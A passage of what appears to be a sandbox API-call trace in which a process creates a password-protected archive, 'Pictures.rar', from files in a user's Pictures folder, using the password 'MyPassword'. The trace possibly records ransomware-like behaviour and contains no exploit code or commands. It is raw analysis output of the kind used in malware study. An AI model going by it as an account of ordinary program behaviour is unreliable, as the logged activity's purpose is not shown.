wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 1 [0064.434] GetMessageW (in: lpMsg=0xf00f8dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd5e0) returned 1 [0064.434] GetFocus () returned 0x102e2 [0064.434] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd5e0) returned 1 [0064.434] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.435] FindFirstFileW (in: lpFileName="c9ZaReaCiTG.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eebb0 [0064.435] FindClose (in: hFindFile=0x28b0c0eebb0 | out: hFindFile=0x28b0c0eebb0) returned 1 [0064.435] CreateFileW (lpFileName="c9ZaReaCiTG.png" (normalized: "c:\\users\\fd1hvy\\pictures\\c9zareacitg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.435] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.435] GetTickCount () returned 0x26056 [0064.435] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.435] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.435] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.435] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.435] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="awTUht89JcK2K D7j9i.png") returned 23 [0064.435] SetWindowTextW (hWnd=0x102c6, lpString="c9ZaReaCiTG.png") returned 1 [0064.436] GetTickCount () returned 0x26056 [0064.436] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.436] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.436] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.436] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.436] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x29, wMilliseconds=0x3a0)) [0064.436] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.436] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15576465158) returned 1 [0064.436] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x14427, lpOverlapped=0x0) returned 1 [0064.436] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b720467, nNumberOfBytesToRead=0xebbd9, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b720467*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.436] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.436] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.436] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0064.436] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0064.436] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f6f0, Size=0x48) returned 0x28b084f95c0 [0064.437] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.437] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.437] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9480 [0064.437] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.437] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f95c0 | out: hHeap=0x28b08430000) returned 1 [0064.437] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd20 [0064.437] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f990 [0064.437] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f990 | out: hHeap=0x28b08430000) returned 1 [0064.437] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd20 | out: hHeap=0x28b08430000) returned 1 [0064.437] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f9430 [0064.437] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ed010 [0064.437] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0064.437] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed010 | out: hHeap=0x28b08430000) returned 1 [0064.437] GetTickCount () returned 0x26056 [0064.437] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15576555848) returned 1 [0064.437] GetTickCount () returned 0x26056 [0064.437] GetTickCount () returned 0x26056 [0064.437] GetTickCount () returned 0x26056 [0064.437] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.437] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.437] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.437] ResetEvent (hEvent=0x344) returned 1 [0064.437] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.439] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.439] ResetEvent (hEvent=0x344) returned 1 [0064.439] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.440] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.440] ResetEvent (hEvent=0x344) returned 1 [0064.440] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.443] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.443] GetTickCount () returned 0x26056 [0064.443] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15577159390) returned 1 [0064.443] GetTickCount () returned 0x26056 [0064.443] GetTickCount () returned 0x26056 [0064.443] GetTickCount () returned 0x26056 [0064.443] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.443] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.443] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.443] ResetEvent (hEvent=0x33c) returned 1 [0064.443] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.444] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.444] ResetEvent (hEvent=0x33c) returned 1 [0064.444] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.445] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.445] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.445] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.445] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x80425 [0064.445] SetFilePointer (in: hFile=0x32c, lDistanceToMove=99, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x80488 [0064.445] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.445] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.445] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.445] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.445] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x14510, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x14510, lpOverlapped=0x0) returned 1 [0064.446] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.446] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.446] SetFilePointer (in: hFile=0x32c, lDistanceToMove=525349, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x80425 [0064.446] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x80425 [0064.446] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.446] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f990 [0064.446] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f990, Size=0x48) returned 0x28b084f9430 [0064.446] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.446] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0064.446] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f9c0, Size=0x48) returned 0x28b084f9bb0 [0064.446] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.446] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0064.446] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0064.446] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0064.447] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0064.447] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd50 | out: hHeap=0x28b08430000) returned 1 [0064.447] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f8ee0 [0064.447] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f8ee0, Size=0x7a) returned 0x28b084ed910 [0064.447] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed913*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed913*, lpNumberOfBytesWritten=0xf00f8d8070*=0x63, lpOverlapped=0x0) returned 1 [0064.447] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f840 [0064.447] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x63) returned 0x28b08462950 [0064.447] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0064.447] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed910 | out: hHeap=0x28b08430000) returned 1 [0064.447] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x94998 [0064.447] CloseHandle (hObject=0x350) returned 1 [0064.447] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.447] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.447] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.447] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.447] FindFirstFileW (in: lpFileName="Camera Roll\\desktop.ini", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee3d0 [0064.447] FindClose (in: hFindFile=0x28b0c0ee3d0 | out: hFindFile=0x28b0c0ee3d0) returned 1 [0064.447] CreateFileW (lpFileName="Camera Roll\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.447] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.447] GetTickCount () returned 0x26056 [0064.447] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.448] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.448] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.448] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.448] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="c9ZaReaCiTG.png") returned 15 [0064.448] SetWindowTextW (hWnd=0x102c6, lpString="desktop.ini") returned 1 [0064.450] GetTickCount () returned 0x26066 [0064.450] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.450] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.450] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.450] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.450] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x29, wMilliseconds=0x3b0)) [0064.450] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.450] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15577874247) returned 1 [0064.450] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xbe, lpOverlapped=0x0) returned 1 [0064.590] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c0fe, nNumberOfBytesToRead=0xfff42, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c0fe*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.590] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fae0 [0064.591] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.591] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9c00 [0064.591] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0064.591] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0064.591] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9700 [0064.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0064.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9c00 | out: hHeap=0x28b08430000) returned 1 [0064.591] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0064.591] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0064.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f7b0 | out: hHeap=0x28b08430000) returned 1 [0064.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f6f0 | out: hHeap=0x28b08430000) returned 1 [0064.591] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fae0, Size=0x48) returned 0x28b084f9430 [0064.591] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084eca70 [0064.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9700 | out: hHeap=0x28b08430000) returned 1 [0064.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084eca70 | out: hHeap=0x28b08430000) returned 1 [0064.591] GetTickCount () returned 0x260f2 [0064.591] GetLastError () returned 0x0 [0064.591] SetLastError (dwErrCode=0x0) [0064.591] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0064.591] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0064.591] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0064.591] SetWindowTextW (hWnd=0x102c8, lpString=" 100%") returned 1 [0064.592] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0064.592] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15592099498) returned 1 [0064.592] GetTickCount () returned 0x260f2 [0064.592] GetTickCount () returned 0x260f2 [0064.592] GetTickCount () returned 0x260f2 [0064.592] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0064.596] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0064.596] GetFocus () returned 0x102e2 [0064.596] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0064.597] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.597] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.597] GetTickCount () returned 0x260f2 [0064.597] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15592560719) returned 1 [0064.597] GetTickCount () returned 0x260f2 [0064.597] GetTickCount () returned 0x260f2 [0064.597] GetTickCount () returned 0x260f2 [0064.597] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.597] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.597] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.597] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.597] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.597] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x94998 [0064.597] SetFilePointer (in: hFile=0x32c, lDistanceToMove=105, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x94a01 [0064.597] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.597] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.598] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.598] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.598] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xa0, lpOverlapped=0x0) returned 1 [0064.598] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.598] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.598] SetFilePointer (in: hFile=0x32c, lDistanceToMove=608664, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x94998 [0064.598] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x94998 [0064.598] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f870 [0064.598] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7e0 [0064.598] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7e0, Size=0x48) returned 0x28b084f9430 [0064.598] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6f10 [0064.598] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0064.598] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9480 [0064.598] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6f10 | out: hHeap=0x28b08430000) returned 1 [0064.598] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0064.598] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0064.598] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0064.598] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f7b0 | out: hHeap=0x28b08430000) returned 1 [0064.598] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0064.598] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f870, Size=0x48) returned 0x28b084f9110 [0064.598] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9110, Size=0x7a) returned 0x28b084ecb00 [0064.598] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ecb03*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ecb03*, lpNumberOfBytesWritten=0xf00f8d8070*=0x69, lpOverlapped=0x0) returned 1 [0064.598] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0064.598] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecb00 | out: hHeap=0x28b08430000) returned 1 [0064.598] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x94aa1 [0064.598] CloseHandle (hObject=0x350) returned 1 [0064.599] 